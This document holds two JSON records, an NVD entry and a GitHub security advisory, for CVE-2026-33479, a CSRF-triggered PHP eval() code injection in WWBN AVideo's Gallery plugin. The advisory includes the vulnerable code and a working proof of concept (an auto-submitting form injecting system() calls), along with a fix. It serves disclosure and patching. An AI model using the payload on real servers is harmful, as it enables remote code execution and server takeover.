{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588",
              "versionEndIncluding": "26.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the Gallery plugin\u0027s `saveSort.json.php` endpoint passes unsanitized user input from `$_REQUEST[\u0027sections\u0027]` array values directly into PHP\u0027s `eval()` function. While the endpoint is gated behind `User::isAdmin()`, it has no CSRF token validation. Combined with AVideo\u0027s explicit `SameSite=None` session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution \u2014 requiring only that an admin visits an attacker-controlled page. Commit 087dab8841f8bdb54be184105ef19b47c5698fcb contains a patch."
    },
    {
      "lang": "es",
      "value": "WWBN AVideo es una plataforma de video de c\u00f3digo abierto. En versiones hasta la 26.0 inclusive, el plugin Gallery, en su endpoint \u0027saveSort.json.php\u0027, pasa entrada de usuario no saneada de los valores del array \u0027$_REQUEST[\u0027sections\u0027]\u0027 directamente a la funci\u00f3n \u0027eval()\u0027 de PHP. Aunque el endpoint est\u00e1 protegido por `User::isAdmin()`, no tiene validaci\u00f3n de token CSRF. Combinado con la configuraci\u00f3n expl\u00edcita de la cookie de sesi\u00f3n `SameSite=None` de AVideo, un atacante puede explotar esto mediante falsificaci\u00f3n de petici\u00f3n en sitios cruzados para lograr ejecuci\u00f3n remota de c\u00f3digo no autenticada \u2014 requiriendo solo que un administrador visite una p\u00e1gina controlada por el atacante. El commit 087dab8841f8bdb54be184105ef19b47c5698fcb contiene un parche."
    }
  ],
  "id": "CVE-2026-33479",
  "lastModified": "2026-03-24T18:48:38.257",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-23T15:16:34.220",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/WWBN/AVideo/commit/087dab8841f8bdb54be184105ef19b47c5698fcb"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-xggw-g9pm-9qhh"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-xggw-g9pm-9qhh"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33479"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:44:02Z",
    "nvd_published_at": "2026-03-23T15:16:34Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe Gallery plugin\u0027s `saveSort.json.php` endpoint passes unsanitized user input from `$_REQUEST[\u0027sections\u0027]` array values directly into PHP\u0027s `eval()` function. While the endpoint is gated behind `User::isAdmin()`, it has no CSRF token validation. Combined with AVideo\u0027s explicit `SameSite=None` session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution \u2014 requiring only that an admin visits an attacker-controlled page.\n\n## Details\n\n**Vulnerable code** \u2014 `plugin/Gallery/view/saveSort.json.php:20-25`:\n\n```php\nif(!empty($_REQUEST[\u0027sections\u0027])){\n    $object = $gallery-\u003egetDataObject();\n    foreach ($_REQUEST[\u0027sections\u0027] as $key =\u003e $value) {\n        $obj-\u003esectionsSaved[] = array($key=\u003e$value);\n        eval(\"\\$object-\u003e{$value}Order = \\$key;\");\n    }\n    $obj-\u003eerror = !$gallery-\u003esetDataObject($object);\n}\n```\n\nThe `$value` variable from `$_REQUEST[\u0027sections\u0027]` is interpolated directly into the string passed to `eval()` with no sanitization \u2014 no allowlist, no regex validation, no escaping. Normal Gallery usage sends section names like `\u0027Shorts\u0027`, `\u0027Trending\u0027`, etc. from jQuery UI sortable, but the server enforces no such constraint.\n\n**CSRF enablement** \u2014 `objects/include_config.php:134-137`:\n\n```php\nif ($isHTTPS) {\n    ini_set(\u0027session.cookie_samesite\u0027, \u0027None\u0027);\n    ini_set(\u0027session.cookie_secure\u0027, \u00271\u0027);\n}\n```\n\nThe session cookie is explicitly set to `SameSite=None`, which instructs browsers to send the cookie on cross-site requests. This is also reinforced in `objects/functionsPHP.php:330-333` where additional cookies are set with `SameSite=None; Secure`.\n\n**No CSRF protection** \u2014 The endpoint performs no CSRF token validation, no Origin header check, no Referer header check, and no `X-Requested-With` header check. There is no global CSRF middleware in AVideo\u0027s bootstrap chain.\n\n**Exploit chain:**\n1. Attacker crafts a page with an auto-submitting form targeting `saveSort.json.php`\n2. Admin visits the attacker\u0027s page (e.g., via a link in a comment, email, or message)\n3. The browser sends the cross-site POST request **with the admin\u0027s session cookie** attached (due to `SameSite=None`)\n4. `User::isAdmin()` passes because the admin\u0027s session is present\n5. The injected PHP code in the `sections` array value is passed to `eval()` and executes\n\n## PoC\n\n**Step 1:** Host the following HTML on an attacker-controlled server:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform id=\"exploit\" action=\"https://TARGET/plugin/Gallery/view/saveSort.json.php\" method=\"POST\"\u003e\n  \u003cinput type=\"hidden\" name=\"sections[0]\" value=\"x=1;system(base64_decode(\u0027aWQ7aG9zdG5hbWU=\u0027));//\"\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById(\u0027exploit\u0027).submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nThe base64 decodes to `id;hostname`.\n\n**Step 2:** Lure an authenticated AVideo admin to visit the page.\n\n**Step 3:** The eval on line 24 executes:\n```php\n$object-\u003ex=1;system(base64_decode(\u0027aWQ7aG9zdG5hbWU=\u0027));//Order = 0;\n```\n\nThis breaks out of the property assignment, calls `system()` with attacker-controlled arguments, and comments out the rest of the line. The response JSON will contain the command output, but even without seeing the response, the command executes server-side.\n\n**Expected result:** The `id` and `hostname` commands execute on the server under the web server\u0027s user context.\n\n## Impact\n\n- **Remote Code Execution** \u2014 An attacker achieves arbitrary PHP code execution on the server by luring an admin to visit a malicious page. No prior authentication or account on the target is required.\n- **Full server compromise** \u2014 The attacker can read/write files, access the database, pivot to other services, install backdoors, or exfiltrate data.\n- **Stealth** \u2014 The attack is a single form submission that completes in milliseconds. The admin may not notice anything unusual.\n- **Blast radius** \u2014 Any AVideo instance running over HTTPS (which triggers `SameSite=None`) where an admin can be lured to click a link is vulnerable.\n\n## Recommended Fix\n\n**Primary fix \u2014 Replace `eval()` with an allowlist check:**\n\nIn `plugin/Gallery/view/saveSort.json.php`, replace lines 20-26:\n\n```php\nif(!empty($_REQUEST[\u0027sections\u0027])){\n    $object = $gallery-\u003egetDataObject();\n    $allowedSections = [\u0027Shorts\u0027, \u0027Trending\u0027, \u0027SiteSuggestion\u0027, \u0027Newest\u0027, \n                        \u0027Subscribe\u0027, \u0027Popular\u0027, \u0027LiveStream\u0027, \u0027Category\u0027, \n                        \u0027Program\u0027, \u0027Channel\u0027];\n    foreach ($_REQUEST[\u0027sections\u0027] as $key =\u003e $value) {\n        if (!in_array($value, $allowedSections, true)) {\n            continue;\n        }\n        $obj-\u003esectionsSaved[] = array($key =\u003e $value);\n        $property = $value . \u0027Order\u0027;\n        $object-\u003e$property = intval($key);\n    }\n    $obj-\u003eerror = !$gallery-\u003esetDataObject($object);\n}\n```\n\nThis eliminates `eval()` entirely, validates `$value` against a known allowlist of section names, and uses dynamic property access (`$object-\u003e$property`) instead of code generation.\n\n**Secondary fix \u2014 Add CSRF protection** to all state-changing endpoints, or at minimum set `SameSite=Lax` on session cookies instead of `SameSite=None` in `objects/include_config.php:135`:\n\n```php\nini_set(\u0027session.cookie_samesite\u0027, \u0027Lax\u0027);\n```\n\nThis prevents session cookies from being sent on cross-site form submissions, blocking the CSRF vector for all endpoints.",
  "id": "GHSA-xggw-g9pm-9qhh",
  "modified": "2026-03-25T18:49:29Z",
  "published": "2026-03-20T20:44:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-xggw-g9pm-9qhh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33479"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/087dab8841f8bdb54be184105ef19b47c5698fcb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has PHP Code Injection via eval() in Gallery saveSort.json.php Exploitable Through CSRF Against Admin"
}